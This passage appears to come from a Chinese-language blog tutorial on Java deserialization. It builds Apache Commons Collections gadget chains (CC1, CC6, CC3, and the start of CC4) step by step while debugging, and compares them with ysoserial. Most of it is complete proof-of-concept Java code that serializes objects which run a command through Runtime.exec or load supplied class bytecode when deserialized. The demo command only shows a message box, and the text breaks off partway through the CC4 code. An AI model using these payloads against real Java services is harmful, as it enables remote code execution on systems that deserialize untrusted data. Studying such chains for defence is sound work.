是一个Transformer数组,那么假如这个数组里面的元素是invokertransformer那不就可以了?就和上面四段代码一样,也是递归调用!

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform(Runtime.class);

到这一步基本的雏形已经完成了,但是有一个地方会有问题,我们可以调试一下,我们最终需要调用的是AnnotationInvocationHandler.readObject里的setValue,流程为
setValue->checkSetValue->transform
image.png
这里的valueTransformer其实就是等价于传入的那个map
image.png
也就是chaintransformer,因此可以做出雏形CC链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("bbb","aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Override.class, transformedmap);

serialize(o);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

进行调试一下可以发现:
image.png
这是AnnotationInvocationHandler中的readObject,可以看到要调用setValue,需要通过2个if判断,第一个是判断memberType是否为空,memberType是什么呢?
image.png
annotationType.memberTypes();跟进annotationType
image.png
获得了实例type,跟进type:
image.png
可以看到其实就是我们初始化传入的注解image.png
在做判断前先获取了memberValue的key值,memberValue其实也就是我们传入的那个Map
image.png
我们在代码中,向Map中put了一个键值对bbb->aaa,首先获取了keybbb,然后在注解中获取这个属性bbb,但是override注解是没有属性的:
image.png
因此得换一个注解,比如Target:
image.png
更换之后再调试一次,发现还是null,因为Target注解虽然有属性,但是没有bbb属性啊,因此我们往Map里put键值对时,key有讲究,Target有value属性,因此把key改成value:
image.png
可以看到两个if顺利通过,并且调用setValue方法,最终一个难题来了,就是如何让他调用Runtime.class呢?,因为递归的入口在上面已经分析过了就是Runtime.class类,这里就又要在最初Transfomer类去找了,可以发现ConstantTransformer类:
image.pngimage.png
它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class,因此最终链确定了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);

serialize(o);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

最终成功调用:
image.png
成功弹窗!可以调试分析一下刚刚的判断:
image.png
2个if判断都通过了,进入setvalue方法:
image.png
调用AbstractInputCheckedMapDecorator的setValue方法,进而调用checksetValue:
image.png
继续调用chainedtransformer的transform方法:
image.png
之后就是进行一系列的递归,最终调用Runtime.getRuntime().exec,完美收工

1X2.1.3 对比Ysoserial的CC1

image.png
Ysoserial的调用链与我们的高度相似,唯一不同的就是LazyMap.get(),我们使用的是TransformedMap.checkSetValue,但是这两个方法最终调用的都是transform方法:
image.png
image.png
还有就是开头一段:
image.png
可以看到调用了AnnotationInvocationHandler的invoke方法:
image.png
是一个动态代理,我们把Annotationinvocationhandler用proxy包裹,再包裹进Map数组,就可以调用invoke方法,和一开始讲的动态代理是一个意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
//生成动态代理
Map mapproxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
//生成最外层
Object o = annotationconstructor.newInstance(Override.class, mapproxy);

serialize(o);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

剩下的地方一模一样,这次的CC1分析就告一段落!写了一坨屎真的很抱歉,大概只有自己看得懂吧,希望别人也能看懂,我的表述能力已经发挥到了极致了。。。ORZ
ps:在jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法,因此其他的链出现了

1X2.2 CC6

版本限制:全版本
为什么会出现CC6呢,在java8u71大版本中AnnotationInvocationHandler.readObject被修改了,没有上述CC1的调用链了,因此想出来了一条不受版本控制的链CC6
在开始分析之前我们可以看一下Ysoserial上的CC6是怎么个调用方法:
image.png
可以看到调用了HashMap.hash(),这一个方法假如认真看了我的文章的人,应该都会熟悉的吧,在刚开始反序列化中讲 URLDNS链的时候我就说到了,因此整条链的难度也不大,因为后半段和CC1一样,同样是从Lazymap.get往下延伸出来的,因此我们分析的起点只需要看是谁调用了.get()方法:
image.png
这里就不说是怎么找到TiedMapEntry的了,就是一个个的看了,在它的getValue方法中调用了map.get方法,那又在哪儿调用了getValue方法呢:
image.png
答案是该类的hashCode方法,看到hashCode就想起了URLDNS链了吧,因此现在要找谁调用了hashCode方法,那肯定就是HashMap集合了,在URLDNS链中也用到了它重写的readObject类中:
image.png
调用了hash方法:
image.png
最后调用key.hashCode,key就是我们可控参数,我们只需要让key等于TiedMapEntry即可!因此可以开始编写CC6链雏形了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
serialize(hashMap);
// unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

上面我特意把unserialize注释了,但是也可以弹窗:
image.png
原因其实和URLDNS链一模一样,因为在hashmap.put的时候也调用了hash方法,进而调用hashCode,因此解决方法也一样,我们需要先把
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
这句话中的chainedTransformer改掉,因为最终调用的是factory.transform(key);
factory也就是chainedtransformer,只要在put前修改掉,然后put后改回来,这样反序列化时就会触发,序列化时就不会触发,因此做出如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
// serialize(hashMap);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

但是仍然发现无法弹出计算机,我们重点放回Lazymap.get上:
image.png
在这里有一层判断,当map也就是我们传入那个空map的键值对为空时,才会进入if内,也就是我们的目标,但是在第一轮put的时候为空,然后他调用了map.put(key, value);
给他加了aaa这个键进去,然后在反序列化的时候:
image.png
由于序列化加了aaa,因此反序列化的时候就进不去if判断,因此没有执行factory.transform,解决办法也很简单,在put后再移除掉即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

image.png
分析结束~~以上3条链的流程如下,很清晰
image.png

1X2.3 CC3

CC3就和CC1、CC6不同了,后者是执行命令,而前者是通过动态加载类,然后实例化类达到执行静态代码块的目的,废话不多说进入状态分析
已经提到过CC3的执行方法和其他2条链方式有些许不同,CC3采用的是动态加载类,也就是上面讲基础时用到过的ClassLoder.defineclass,因此我们寻找谁调用了defineclass方法:
image.pngimage.png
在TemplatesImpl.TransletClassLoader里调用了:
image.png
继续跟进该类,看看该类的defineClass在哪被调用:
image.png
image.png
在defineTransletClasses类中被调用loader.defineClass,在调用之前有几个小判断需要留意:
image.png
首先_bytecodes属性不能为空否则跑出异常,因此需要反射赋值image.png
调用_tfactory.getExternalExtensionsMap(),因此也不能为空,跟进看看这个属性有没有被赋值image.png
在readObject方法里被赋值了,因此不必担心
继续跟进看看谁调用了defineTransletClasses
image.png
重心放在getTransletInstance()方法上,虽然有3个结果,但是只有这个方法调用了.newInstance()方法,这样我们才有可能实例化恶意类
image.png
有一个判断,如果_name属性为空,就return null,这肯定是不行的,因此需要反射赋值
继续跟进看看谁调用了getTransletInstance()
image.png
唯一一个结果newTransformer调用:
image.png
在此处调用了getTransletInstance方法,因此我们的思路就确定了,实例化一个TemplatesImpl对象,然后调用newTransformer方法,这样就可以加载恶意类:
image.png
思路雏形如上,目的就是这样调用,但是需要反射修改上述说的那几个参数,要不然if语句无法通过,对雏形进行进一步完善:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}

image.png
但是会抛出一个空指针异常:
image.png
下断点调试:
image.png
在这里的_transletIndex属性是-1,因此上方抛出了空指针异常
superClass.getName().equals(ABSTRACT_TRANSLET)
image.png
superClass就是我们恶意类,他的父类需要为ABSTRACT_TRANSLET
image.png
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
我们让恶意类继承一下:
image.png
接着再运行一次看看:
image.png
成功运行了,然后现在需要做的也就是怎么把templates.newTransformer();和cc1,cc6这样包装起来,我们同样可以仿照一下,然后将刚刚写的和CC1后半结合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c2.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class,lazymap);
//生成动态代理
Map mapproxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
//生成最外层
Object o = annotationconstructor.newInstance(Override.class, mapproxy);

serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

得到了一条CC3的链
image.png
我们这是调用了CC1的后半链,那CC6的可不可以呢?显然可以啊!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3TEST {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC6后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

image.png
但是对比分析Ysoserial还是有些不同:
image.png
在chainedtransformer里的参数就不同了

1
2
3
4
5
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

他并未调用InvokerTransformer而是调用了InstantiateTransformer,我们也可以分析一下:
image.png
看看就知道这其实就是InvokerTransformer的替代品,作用都一模一样,只不过这个是调用构造函数的,那再看看Ysoserial里的TrAXFilter类:
image.png
在它的构造函数中恰巧就调用了我们最终需要的newTransformer方法,因此可以构造CC3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3TEST {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

image.png
同样成功触发,最后的思路图为:
image.png

1X2.4 CC4

首先CC4需要的commoncollection4的依赖:

1
2
3
4
5
   <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

言简意赅的来说CC4就是CC3前半段不动,后半段修改一些东西,在调用CaninedTransformer的transform方法上有所不同,直接先放POC后分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
